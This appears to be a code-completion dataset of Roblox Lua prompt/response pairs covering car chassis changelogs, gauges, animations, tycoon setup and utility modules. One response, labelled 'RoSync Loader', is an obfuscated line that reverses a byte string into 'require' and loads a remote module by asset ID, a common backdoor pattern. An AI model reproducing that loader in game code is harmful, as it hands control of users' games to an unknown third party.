		-Added tune value 'ReturnSpeed' which determines how fast wheels return to default orientation

		[New Torque Curve Equation]
		-New equation gives more control over the shape of the torque curve
		-Engine values have been replaced with the new equation's variables
		-Added link to desmos graph for the torque curve visualization

	[10/31/16 : A-Chassis Build 6.33] - Semi-Automatic

		[Added semi-automatic transmission mode]
		-'TransModes' now accepts "Semi" value for semi-automatic.
		-Updated AC6_Stock_Gauges to include semi-automatic mode.

		[Fixed disengaging p-brake]
		-P-Brake now remains engaged if player gets into then vehicle.

		[Fixed FE Support for AC6_Stock_Sound]
		-Sounds should now work properly with Filtering Enabled.

	[8/5/16 : A-Chassis Build 6.32] - Differential System

		[Implemented differential system]
		-Differential controls torque distibution between wheels that are spinning at different rates
		-Added tune values 'FDiffSlipThres', 'FDiffLockThres', 'RDiffSlipThres', 'RDiffLockThres', 'CDiffSlipThres', and 'CDiffLockThres'.
		-'DiffSlipThres' determine the threshold of the speed difference between the wheels. Full lock applies at max threshold.
		-A lower slip threshold value will make the diff more aggressive.
		-'DiffLockThres' determines the bias of the differential.
		-A lock threshold value more than 50 puts more torque into the slipping wheel (moving towards an open diff).
		-A lock threshold value less than 50 puts more torque into the grounded wheel (moving towards a locked diff).

		[Fixed multiple wheel support]
		-The chassis can now use more than just the default 4 set of wheels. Just copy an existing wheel and place accordingly.
		-Differential works with auxiliary wheels.

	[7/13/16 : A-Chassis Build 6.31] - Peripheral Settings

		[Added peripheral adjustment values]
		-Moved controller and mouse deadzone values to the "Controls" section of the tune.
		-Split controller deadzone into left and right input.
		-Moved mouse control width to "Conrols" secton. This value now operates based off of % of screed width.

		[Updated stock Controls Module]
		-Added sliders for controller and mouse deadzone values.
		-Added slider for mouse control width.

	[6/15/16 : A-Chassis Build 6.3] - Motercisly

		[Better motorcycle system support]
		-Added wheel configurations "F" and "R" for single wheel settup.
		-"F" and "R" wheels will have axle parts on both sides for better balance.
		-These wheel configurations will ignore outor rotation value and will rotated based off of the inner rotation value only.
		-Camber and Toe cannot be applied to these wheel configurations. Caster will still be applied as normal.

		[Bug fixes]
		-Caster now applies after wheel part rotations so wheel parts dont rotate with caster.
		-Fixed Clutch re-engaging automatically when shifting out of neutral.

	[6/4/16 : A-Chassis Build 6.21] - AC6 Official Public Kit Release

		[Plugin FilteringEnabled compatability made easier]
		-System now detects if there is a RemoteEvent or RemoteFunction inside a plugin. These will be parented directly under the car.
		-The RemoteEvent/RemoteFunction needs to be a direct child of the plugin for it to be detected.
		-Scripts inside the RemoteEvent/RemoteFunction should be disabled. They will be enabled after initialization.
		-Be careful as this system is suceptible to name collisions. Name your RemoteEvents/RemoteFunctions uniquely.
		-Stock AC6 Sound plugin is now FE compatible.

		[Controls Panel now a plugin instead of integrated]
		-Separated controls panel from Drive script. The controls panel is now a plugin.
		-The "Controls" folder appears inside the interface on Drive startup. Use this folder to reference button mapping values for custom controls plugins.
		-"ControlsOpen" value added. This is a safety toggle when changing control values. This value can be manipulated by plugins.

		[New tune values]
		-Added 'AutoFlip' tune value. This determines if the car automatically flips itself over when upside down.
		-Added 'StAxisOffset' tune value. This offsets the center of the steering axis. Positive value = offset outward.
		-Added 'SteerD', 'SteerMaxTorque', and 'SteerP' values which set the steering axle gyro properties.

		[MiscWeld streamlining]
		-Added "Misc" section to the main sections. This should contain scripted/moving parts.
		-Parts in this section are NOT WELDED AUTOMATICALLY. Use the "MiscWeld" module to weld these parts. The "Misc" section is pre-referenced as 'misc'.

		[Bug fixes]
		-Fixed flip gyro not resetting when gyro is active and driver leaves car.
		-Fixed issue with switching transmission modes.
--]]

Response: return "6.6"


Prompt: --geração de zumbis

Response:
local part = game:GetService("ServerStorage").Zombie

while (true) do
	wait(5)
	local novaparte = part:Clone()
	portal = math.random(1,4)

	if portal == 1 then
		novaparte.Humanoid.RootPart.Position = workspace.Portal1.Position
	elseif portal == 2 then
		novaparte.Humanoid.RootPart.Position = workspace.Portal2.Position
	elseif portal == 3 then
		novaparte.Humanoid.RootPart.Position = workspace.Portal4.Position

		else
	end

	novaparte.Parent = workspace

end


Prompt:
------------------------------------------------------------------------
-- parse a local function statement
-- * used in statements()
------------------------------------------------------------------------

Response:
function luaY:localfunc(ls)
  local v, b = {}, {}  -- expdesc
  local fs = ls.fs
  self:new_localvar(ls, self:str_checkname(ls), 0)
  self:init_exp(v, "VLOCAL", fs.freereg)
  luaK:reserveregs(fs, 1)
  self:adjustlocalvars(ls, 1)
  self:body(ls, b, false, ls.linenumber)
  luaK:storevar(fs, v, b)
  -- debug information will only see the variable after this point!
  self:getlocvar(fs, fs.nactvar - 1).startpc = fs.pc
end


Prompt: -- note: JS version can return anything that's truthy, but that won't work for us since Lua deviates (0 is truthy)

Response:
type callbackFn<T> = (element: T, index: number, array: Array<T>) -> boolean
type callbackFnWithThisArg<T, U> = (thisArg: U, element: T, index: number, array: Array<T>) -> boolean
type Object = { [string]: any }


Prompt: --You can change the values below to suit your needs

Response:
local max_mode = 13 --The maximum amount of modes forwards. Set to 0 to disable forwards motion.

local min_mode = -14 --The minimum amount of modes backwards. Set to 0 to disable backwards motion.

local increment_speed = 0.2 --The amount in which the speed value increments with every mode.


Prompt:
--[=[
	Stops the shake effect. If using `OnSignal` or `BindToRenderStep`, those bound
	functions will be disconnected/unbound.

	`Stop` is automatically called when the shake effect is completed _or_ when the
	`Destroy` method is called.
]=]

Response:
function Shake:Stop()
	self._trove:Clean()
end


Response:
wait(1)
local character = script.Parent

character.HumanoidRootPart.Touched:Connect(function(hit)
	if hit:IsA("BasePart") and hit.Locked == false then
		hit.CanCollide = false
		wait(5)
		hit.CanCollide = true
	else
		print("Child is not a basePart or is Locked")
	end
end)


Response:
function onChildAdded(child)
	if child.Name == "SeatWeld" then
		local human = child.part1.Parent:findFirstChild("Humanoid")
		if (human ~= nil) then
			print("Human IN")
			seat.SirenControl.Control.CarName.Value = human.Parent.Name.."s Car"
			s.Parent.SirenControl:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui
			seat.Start:Play()
			wait(1)
			seat.Start:Stop()
			seat.Engine:Play()
		end
	end
end

function onChildRemoved(child)
	if (child.Name == "SeatWeld") then
		local human = child.part1.Parent:findFirstChild("Humanoid")
		if (human ~= nil) then
			print("Human OUT")
			seat.SirenControl.Control.CarName.Value = "Empty Car"
			game.Players:findFirstChild(human.Parent.Name).PlayerGui.SirenControl:remove()
			seat.Engine:Stop()
		end
	end
end

script.Parent.ChildAdded:connect(onChildAdded)
script.Parent.ChildRemoved:connect(onChildRemoved)


Prompt: -- emote bindable hook

Response:
script:WaitForChild("PlayEmote").OnInvoke = function(emote)
	-- Only play emotes when idling
	if pose ~= "Standing" then
		return
	end

	if emoteNames[emote] ~= nil then
		-- Default emotes
		playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)

		if userPlayEmoteByIdAnimTrackReturn then
			return true, currentAnimTrack
		else
			return true
		end
	elseif typeof(emote) == "Instance" and emote:IsA("Animation") then
		-- Non-default emotes
		playEmote(emote, EMOTE_TRANSITION_TIME, Humanoid)

		if userPlayEmoteByIdAnimTrackReturn then
			return true, currentAnimTrack
		else
			return true
		end
	end

	-- Return false to indicate that the emote could not be played
	return false
end

if Character.Parent ~= nil then
	-- initialize to idle
	playAnimation("idle", 0.1, Humanoid)
	pose = "Standing"
end


Prompt:
--Admin Command List
--Note: You don't say any " they are for separating only.
--shout/Message          kill/PlayerName            ban/PlayerName/Reason           teleport/PlayerName/PlayerName
--anchor/PlayerName/on         anchor/PlayerName/off       up/PlayerName         give/PlayerName/ToolNameInLighting
--explode/PlayerName        merge/VictimName/ControllerName          "gleeg snag zip"(Kills everyone.)
--"immortal me/PlayerName/all" "trip me/PlayerName/all" "jumpy me/PlayerName/all" "explode me/PlayerName/all"


Response:
local PlayerStatManager = require(script.Parent:WaitForChild("PlayerStatManager"))

local serverStorage = game:GetService("ServerStorage")
local replicatedStorage = game:GetService("ReplicatedStorage")
local playerMoney = serverStorage:WaitForChild("PlayerMoney")
local purchaseHandlerNew = content.PurchaseHandlerNew
local players = game:GetService("Players")
local runService = game:GetService("RunService")
local staterGui = game:GetService("StarterGui")

local allObjects = {}

local TycoonSettings = require(script.Parent.Settings)

local Settings = require(script.Settings)
local RebirthSettings = Settings.Rebirth
local TestSettings = Settings.Test

local rebirthEvent = content:WaitForChild("RebirthEvent (Don't Move)")
local touchAllTycoonButtons = content:WaitForChild("TouchAllTycoonButtons")
local giveCashEvent = content:WaitForChild("GiveCash")
local rebirthGui = content:WaitForChild("RebirthGui (Don't Move)")
local touchTycoonButtonsGui = content:FindFirstChild("TouchTycoonButtons")

rebirthEvent.Parent = replicatedStorage
if touchTycoonButtonsGui then
	if runService:IsStudio() or TestSettings.showTouchTycoonButtonsGuiOutsideStudio then
		touchAllTycoonButtons.Parent = replicatedStorage
		giveCashEvent.Parent = replicatedStorage
		touchTycoonButtonsGui.Parent = staterGui
	else
		touchAllTycoonButtons:Destroy()
		giveCashEvent:Destroy()
		touchTycoonButtonsGui:Destroy()
	end
end
local AllTycoons = {}
for i,v in pairs(script.Parent:WaitForChild('Tycoons'):GetChildren()) do
	AllTycoons[v.Name] = v:Clone()
end


Prompt: --[[ Last synced 10/14/2020 09:34 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)


Prompt:
--[[**
	This function allows the developer to schedule the removal of the object without yielding any code. It is the suggested alternative to Debris:AddItem, as this doesn't use the legacy scheduler and also supports tables with a Destroy / destroy method.

	@param [t:union<t:Instance, t:table, t:RBXScriptConnection, t:userdata>] Object The object to be added to destroy scheduler.
	@param [t:optional<t:numberMin<0>>] Lifetime The number of seconds before the object should be destroyed. Defaults to 10.
	@returns [void]
**--]]

Response:
function Scheduler.AddItem(Object, Lifetime)
	assert(AddItemTuple(Object, Lifetime))
	local ExecuteTime = tick() + (Lifetime or 10)
	local Connection

	Connection = Heartbeat:Connect(function()
		if tick() >= ExecuteTime then
			Connection:Disconnect()
			if Object then
				if Object.Destroy then
					pcall(Object.Destroy, Object)
				elseif Object.destroy then
					pcall(Object.destroy, Object)
				elseif Object.Disconnect then
					pcall(Object.Disconnect, Object)
				elseif Object.disconnect then
					pcall(Object.disconnect, Object)
				end
			end
		end
	end)

	return Connection
end

return Scheduler


Prompt:
--[[
	Calls a callback on `finally` with specific arguments.
]]

Response:
function Promise.prototype:finallyCall(callback, ...)
	assert(type(callback) == "function", string.format(ERROR_NON_FUNCTION, "Promise:finallyCall"))
	local length, values = pack(...)
	return self:_finally(debug.traceback(nil, 2), function()
		return callback(unpack(values, 1, length))
	end)
end


Prompt: -- Detect when prompt hold begins

Response:
local function onPromptHoldBegan(promptObject, player)
	ObjectActions.promptHoldBeganActions(promptObject, player)
end


Prompt:
-- 0 ..... 15 cd
-- 1 ..... 30 cd
-- 2 ..... 75 cd * Minimum for Public Mode Applications *
-- 3 ..... 110 cd


Prompt: --		print("Keyframe : ".. frameName)

Response:
		local repeatAnim = currentAnim

		local animSpeed = currentAnimSpeed
		playAnimation(repeatAnim, 0.0, Humanoid)
		setAnimationSpeed(animSpeed)
	end
end


Prompt: -- Initialize

Response:
function PointsService:KnitInit()

    local rng = Random.new()

    -- Give player random amount of points:
    self.Client.GiveMePoints:Connect(function(player)
        local points = rng:NextInteger(0, 10)
        self:AddPoints(player, points)
        print("Gave " .. player.Name .. " " .. points .. " points")
    end)

    -- Clean up data when player leaves:
    game:GetService("Players").PlayerRemoving:Connect(function(player)
        self.PointsPerPlayer[player] = nil
		print("Cleaned up "..player.Name.."'s data because they left!")
    end)

end

return PointsService


Prompt: -------------------Speed Controls ( Up/down/Forward/Backward)-------------------

Response:
				if(key == "d")  and (faster == false) and (slower == false) and (Spd_keep == true) and ( on == true) then
					local val = plane.Engine:findFirstChild("Speed")
					faster = true
					while faster do
						if(val.Value < minspeed) or (val.Value > maxv) then return end
						if(val.Value == maxv) then faster = false end
						val.Value = val.Value +1
						wait()
						end

				elseif(key == "a")  and (faster == false)  and ( on==true) and (Spd_keep == true) then
				if(on == false) or (plane.Engine:findFirstChild("Speed") == nil) then return end
					if(slower == false) and (faster == false) then
						local val = plane.Engine:findFirstChild("Speed")
						slower = true
						while slower do
						if(val.Value >=minspeed) then
						val.Value = val.Value -1
						elseif(val.Value < minspeed) then
						val.Value = minspeed
						slower = false
						end
						wait()
						end
				end
					end

			--Below u can see 2 if's these are if the Vert_keep value is set to true
				if(key == "s")  and planedebounce == false and on == true then
				local val = plane.Engine:findFirstChild("VerticalSpeed")
				if(val == nil) then return end
					downer = true
					uper = false
					while downer do
					if(val.Value == -20) then downer = false break end
					if(downer==false) then break end
					val.Value = val.Value  -1
					wait(.1)
					end
				end

				if(key == "w")  and planedebounce == false and on == true then
				local val = plane.Engine:findFirstChild("VerticalSpeed")
				if(val == nil) then return end
					uper = true
					downer = false
					while uper==true do
					if(uper == false) then break end
					if(val.Value >= 20) then
						uper = false

					end
					val.Value = val.Value +1

					wait(.1)
						end
				end

	--[[	if(string.byte(key) == 20) and (on == true) then
			local engine = plane.Engine
			local bg = engine.BodyGyro
				sideleft = true
				while sideleft do
				sideway = 20
				wait(.1)
			end
		end

		if(string.byte(key) == 19) and (on == true) then
			local engine = plane.Engine
			local bg = engine.BodyGyro
				sideright = true
				while sideright do
				sideway = -20
				wait(.1)
			end
		end 	]]--

		if(string.byte(key) == 23) and on then
			local engine = plane.Engine
			local spd = engine.Speed
			if(spd.Value < 0) then
			while spd.Value ~= 0 do
				spd.Value = spd.Value +1
			wait(.1)
			end
			elseif(spd.Value > 0) then
			while spd.Value ~= 0 do
					spd.Value = spd.Value -1
			wait(.1)
			end
			elseif(spd.Value == 0) then spd.Value = 0
			return
			end
		end


Prompt: -- Initialize anchor tool

Response:
local AnchorTool = require(CoreTools:WaitForChild 'Anchor')
Core.AssignHotkey('M', Core.Support.Call(Core.EquipTool, AnchorTool));
Core.AddToolButton(Core.Assets.AnchorIcon, 'M', AnchorTool)


Prompt: --[[Wheel Alignment]]

Response:
	--[Don't physically apply alignment to wheels]
	--[Values are in degrees]
	Tune.FCamber		= -2
	Tune.RCamber		= -2
	Tune.FCaster		= 0
	Tune.RCaster		= 0	--Will only work with 4WS enabled (Avxnturador)
	Tune.FToe			= 0
	Tune.RToe			= 0


Prompt: --Automatic Gauge Scaling

Response:
if autoscaling then
	local Drive={}
	if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
		if car.Wheels:FindFirstChild("FL")~= nil then
			table.insert(Drive,car.Wheels.FL)
		end
		if car.Wheels:FindFirstChild("FR")~= nil then
			table.insert(Drive,car.Wheels.FR)
		end
		if car.Wheels:FindFirstChild("F")~= nil then
			table.insert(Drive,car.Wheels.F)
		end
	end
	if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
		if car.Wheels:FindFirstChild("RL")~= nil then
			table.insert(Drive,car.Wheels.RL)
		end
		if car.Wheels:FindFirstChild("RR")~= nil then
			table.insert(Drive,car.Wheels.RR)
		end
		if car.Wheels:FindFirstChild("R")~= nil then
			table.insert(Drive,car.Wheels.R)
		end
	end

	local wDia = 0
	for i,v in pairs(Drive) do
		if v.Size.x>wDia then wDia = v.Size.x end
	end
	Drive = nil
	for i,v in pairs(UNITS) do
		v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
		v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
	end
end

for i=0,revEnd*2 do
	local ln = script.Parent.ln:clone()
	ln.Parent = script.Parent.Tach
	ln.Rotation = 45 + i * 225 / (revEnd*2)
	ln.Num.Text = i/2
	ln.Num.Rotation = -ln.Rotation
	if i*500>=math.floor(_pRPM/500)*500 then
		ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
		if i<revEnd*2 then
			ln2 = ln:clone()
			ln2.Parent = script.Parent.Tach
			ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
			ln2.Num:Destroy()
			ln2.Visible=true
		end
	end
	if i%2==0 then
		ln.Frame.Size = UDim2.new(0,3,0,10)
		ln.Frame.Position = UDim2.new(0,-1,0,100)
		ln.Num.Visible = true
	else
		ln.Num:Destroy()
	end
	ln.Visible=true
end

local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
	local ln = script.Parent.ln:clone()
	ln.Parent = lns
	ln.Rotation = 45 + 225*(i/90)
	if i%2==0 then
		ln.Frame.Size = UDim2.new(0,2,0,10)
		ln.Frame.Position = UDim2.new(0,-1,0,100)
	else
		ln.Frame.Size = UDim2.new(0,3,0,5)
	end
	ln.Num:Destroy()
	ln.Visible=true
end

for i,v in pairs(UNITS) do
	local lnn = Instance.new("Frame",script.Parent.Speedo)
	lnn.BackgroundTransparency = 1
	lnn.BorderSizePixel = 0
	lnn.Size = UDim2.new(0,0,0,0)
	lnn.Name = v.units
	if i~= 1 then lnn.Visible=false end

	for i=0,v.maxSpeed,v.spInc do
		local ln = script.Parent.ln:clone()
		ln.Parent = lnn
		ln.Rotation = 45 + 225*(i/v.maxSpeed)
		ln.Num.Text = i
		ln.Num.TextSize = 20
		ln.Num.Rotation = -ln.Rotation
		ln.Frame:Destroy()
		ln.Num.Visible=true
		ln.Visible=true
	end
end

if 	script.Parent.Parent.IsOn.Value then
	script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end

script.Parent.Parent.IsOn.Changed:connect(function()
	if script.Parent.Parent.IsOn.Value then
		script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
	end
end)

script.Parent.Parent.Values.RPM.Changed:connect(function()
	script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
end)

local function GearChange()
	local gearText = script.Parent.Parent.Values.Gear.Value
	if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
		if script.Parent.Parent:FindFirstChild("DriveMode").Value == "Comfort" then
			if gearText > 0 then
				script.Parent.Gear.Text = "D"
			elseif gearText == 0 then
				script.Parent.Gear.Text = "N"
			elseif gearText == -1 then
				script.Parent.Gear.Text = "R"
			end
		elseif script.Parent.Parent:FindFirstChild("DriveMode").Value ~= "Comfort" then
			if gearText > 0 then
				script.Parent.Gear.Text = "S"..gearText
			elseif gearText == 0 then
				script.Parent.Gear.Text = "N"
			elseif gearText == -1 then
				script.Parent.Gear.Text = "R"
			end
		end
	elseif script.Parent.Parent.Values.TransmissionMode.Value ~= "Auto" then
		if script.Parent.Parent:FindFirstChild("DriveMode").Value ~= "Comfort" then
			if gearText > 0 then
				script.Parent.Gear.Text = "M"..gearText
			elseif gearText == 0 then
				script.Parent.Gear.Text = "N"
			elseif gearText == -1 then
				script.Parent.Gear.Text = "R"
			end
		elseif script.Parent.Parent:FindFirstChild("DriveMode").Value == "Comfort" then
			if gearText > 0 then
				script.Parent.Gear.Text = gearText
			elseif gearText == 0 then
				script.Parent.Gear.Text = "N"
			elseif gearText == -1 then
				script.Parent.Gear.Text = "R"
			end
		end
	end
end

script.Parent.Parent.Values.TransmissionMode.Changed:Connect(GearChange)
script.Parent.Parent.DriveMode.Changed:Connect(GearChange)

script.Parent.Parent.Values.Gear.Changed:Connect(function()
	local gearText = script.Parent.Parent.Values.Gear.Value
	if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
		if script.Parent.Parent:FindFirstChild("DriveMode").Value == "Comfort" then
			if gearText > 0 then
				script.Parent.Gear.Text = "D"
			elseif gearText == 0 then
				script.Parent.Gear.Text = "N"
			elseif gearText == -1 then
				script.Parent.Gear.Text = "R"
			end
		elseif script.Parent.Parent:FindFirstChild("DriveMode").Value ~= "Comfort" then
			if gearText > 0 then
				script.Parent.Gear.Text = "S"..gearText
			elseif gearText == 0 then
				script.Parent.Gear.Text = "N"
			elseif gearText == -1 then
				script.Parent.Gear.Text = "R"
			end
		end
	elseif script.Parent.Parent.Values.TransmissionMode.Value ~= "Auto" then
		if script.Parent.Parent:FindFirstChild("DriveMode").Value ~= "Comfort" then
			if gearText > 0 then
				script.Parent.Gear.Text = "M"..gearText
			elseif gearText == 0 then
				script.Parent.Gear.Text = "N"
			elseif gearText == -1 then
				script.Parent.Gear.Text = "R"
			end
		elseif script.Parent.Parent:FindFirstChild("DriveMode").Value == "Comfort" then
			if gearText > 0 then
				script.Parent.Gear.Text = gearText
			elseif gearText == 0 then
				script.Parent.Gear.Text = "N"
			elseif gearText == -1 then
				script.Parent.Gear.Text = "R"
			end
		end
	end
end)

script.Parent.Parent.Values.TCS.Changed:Connect(function()
	if _Tune.TCSEnabled then
		if script.Parent.Parent.Values.TCS.Value then
			script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
			script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
			if script.Parent.Parent.Values.TCSActive.Value then
				wait()
				script.Parent.TCS.Visible = not script.Parent.TCS.Visible
			else
				wait()
				script.Parent.TCS.Visible = false
			end
		else
			script.Parent.TCS.Visible = true
			script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
			script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
		end
	else
		script.Parent.TCS.Visible = false
	end
end)

script.Parent.Parent.Values.TCSActive.Changed:connect(function()
	if _Tune.TCSEnabled then
		if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = not script.Parent.TCS.Visible
		elseif not script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = true
		else
			wait()
			script.Parent.TCS.Visible = false
		end
	else
		script.Parent.TCS.Visible = false
	end
end)

script.Parent.TCS.Changed:connect(function()
	if _Tune.TCSEnabled then
		if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = not script.Parent.TCS.Visible
		elseif not script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = true
		end
	else
		if script.Parent.TCS.Visible then
			script.Parent.TCS.Visible = false
		end
	end
end)

script.Parent.Parent.Values.ABS.Changed:connect(function()
	if _Tune.ABSEnabled then
		if script.Parent.Parent.Values.ABS.Value then
			script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
			script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
			if script.Parent.Parent.Values.ABSActive.Value then
				wait()
				script.Parent.ABS.Visible = not script.Parent.ABS.Visible
			else
				wait()
				script.Parent.ABS.Visible = false
			end
		else
			script.Parent.ABS.Visible = true
			script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
			script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
		end
	else
		script.Parent.ABS.Visible = false
	end
end)

script.Parent.Parent.Values.ABSActive.Changed:connect(function()
	if _Tune.ABSEnabled then
		if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = not script.Parent.ABS.Visible
		elseif not script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = true
		else
			wait()
			script.Parent.ABS.Visible = false
		end
	else
		script.Parent.ABS.Visible = false
	end
end)

script.Parent.ABS.Changed:connect(function()
	if _Tune.ABSEnabled then
		if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = not script.Parent.ABS.Visible
		elseif not script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = true
		end
	else
		if script.Parent.ABS.Visible then
			script.Parent.ABS.Visible = false
		end
	end
end)

function PBrake()
	script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end
script.Parent.Parent.Values.PBrake.Changed:connect(PBrake)

function Gear()
	if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
		script.Parent.TMode.Text = "A/T"
		script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
	elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
		script.Parent.TMode.Text = "S/T"
		script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
	else
		script.Parent.TMode.Text = "M/T"
		script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
	end
end
script.Parent.Parent.Values.TransmissionMode.Changed:connect(Gear)

script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
	script.Parent.Speedo.Needle.Rotation =45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
	script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)

script.Parent.Speed.MouseButton1Click:connect(function()
	if currentUnits==#UNITS then
		currentUnits = 1
	else
		currentUnits = currentUnits+1
	end
	for i,v in pairs(script.Parent.Speedo:GetChildren()) do
		v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
	end
	script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)

wait(.1)
Gear()
PBrake()


Prompt:
-- Provides a nice syntax for creating Roblox instances.
-- Example:
--	local newPart = Utility.Create("Part") {
--		Parent = workspace,
--		Anchored = true,
--
--		--Create a SpecialMesh as a child of this part too
--		Utility.Create("SpecialMesh") {
--			MeshId = "rbxassetid://...",
--			Scale = Vector3.new(0.5, 0.2, 10)
--		}
--	}

Response:
function CommonUtil.Create(instanceType)
	return function(data)
		local obj = Instance.new(instanceType)
		local parent = nil
		for k, v in pairs(data) do
			if type(k) == 'number' then
				v.Parent = obj
			elseif k == 'Parent' then
				parent = v
			else
				obj[k] = v
			end
		end
		if parent then
			obj.Parent = parent
		end
		return obj
	end
end

return CommonUtil


Prompt: --!strict

Response:
local None = require(script.Parent.None)
local LuauPolyfill = script.Parent.Parent
local types = require(LuauPolyfill.types)
type Object = types.Object


Response:
local player=game.Players.LocalPlayer
local mouse=player:GetMouse()

local bike = script.Parent.Parent.Bike.Value
local _Tune = require(bike["Tuner"])

local gauges = script.Parent
local values = script.Parent.Parent.Values
local isOn = script.Parent.Parent.IsOn

gauges:WaitForChild("Speedo")
gauges:WaitForChild("Tach")
gauges:WaitForChild("Boost")
gauges:WaitForChild("ln")
gauges:WaitForChild("bln")
gauges:WaitForChild("Gear")
gauges:WaitForChild("Speed")

bike.DriveSeat.HeadsUpDisplay = false

local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline

if not _Tune.Engine and _Tune.Electric then _lRPM = _Tune.ElecRedline _pRPM = _Tune.ElecTransition2 end

local currentUnits = 1
local revEnd = math.ceil(_lRPM/1000)


Prompt:
--[[
	Package link auto-generated by Rotriever
]]

Response:
local PackageIndex = script.Parent._Index

local Package = require(PackageIndex["ExperienceComponents"]["ExperienceComponents"])

export type MultiSelectFormOption = Package.MultiSelectFormOption

return Package


Prompt:
--[=[
	@param value any
	@return boolean
	Returns `true` if this option contains `value`.
]=]

Response:
function Option:Contains(value)
	return self:IsSome() and self._v == value
end


Prompt:
-- plr is 'player'
-- item is the 'tool' or 'key' clicked on

Response:
function module.Clicked (plr, item)

    -- 1. Check is player exists (not nil) and player is not Piggy
    if plr then
        if plr.Character and not plr:FindFirstChild("Piggy") then

            -- 2. Get the position of the part so we can swap parts
            -- models do not have position as a property, rather a PrimaryPart property which is generally the handle (some invisible part)

            local position
            if item:IsA("Model") then
                position = item.PrimaryPart.Position
            else
                position = item.Position
            end

            -- drop whatever is in the players backpack or equipped (if any)
            -- send in the player, the map and the position of the newly clicked item
            module.DropTools(plr, game.Workspace.Map, position)
            print ("Dropped Keyhandles")

            --3. Put a copy of the serverstorage item in the players backpack
            if game.ServerStorage.Tools:FindFirstChild(item.Name) then
                -- clone server copy
                local clonedTool = game.ServerStorage.Tools[item.Name]:Clone()

                -- put it in the players backpack
                clonedTool.Parent = plr.Backpack

                -- auto equip it
                plr.Character.Humanoid:EquipTool(clonedTool)

                -- destroy the part on the map
                item:Destroy()

                print ("Equipped the tool")
            end

        end
    end

end

return module


Prompt: -- constants

Response:
local CAMERA		= Workspace.CurrentCamera
local PLAYER		= Players.LocalPlayer
local PLAYER_GUI	= PLAYER:WaitForChild("PlayerGui")


Prompt: -- Load and configure the animations

Response:
local attackAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.AttackAnimation)
attackAnimation.Looped = false
attackAnimation.Priority = Enum.AnimationPriority.Action
maid.attackAnimation = attackAnimation

local deathAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.DeathAnimation)
deathAnimation.Looped = false
deathAnimation.Priority = Enum.AnimationPriority.Action
maid.deathAnimation = deathAnimation


Prompt: -- TODO: Remove when we figure out ContextActionService without sinking keys

Response:
local function onShiftInputBegan(inputObject, isProcessed)
	if isProcessed then return end
	if inputObject.UserInputType == Enum.UserInputType.Keyboard and
		(inputObject.KeyCode == Enum.KeyCode.LeftShift or inputObject.KeyCode == Enum.KeyCode.RightShift) then
		--
		mouseLockSwitchFunc()
	end
end

local function enableShiftLock()
	IsShiftLockMode = isShiftLockMode()
	if IsShiftLockMode then
		if ScreenGui then
			ScreenGui.Parent = PlayerGui
		end
		if IsShiftLocked then
			Mouse.Icon = SHIFT_LOCK_CURSOR
			ShiftLockController.OnShiftLockToggled:Fire()
		end
		if not IsActionBound then
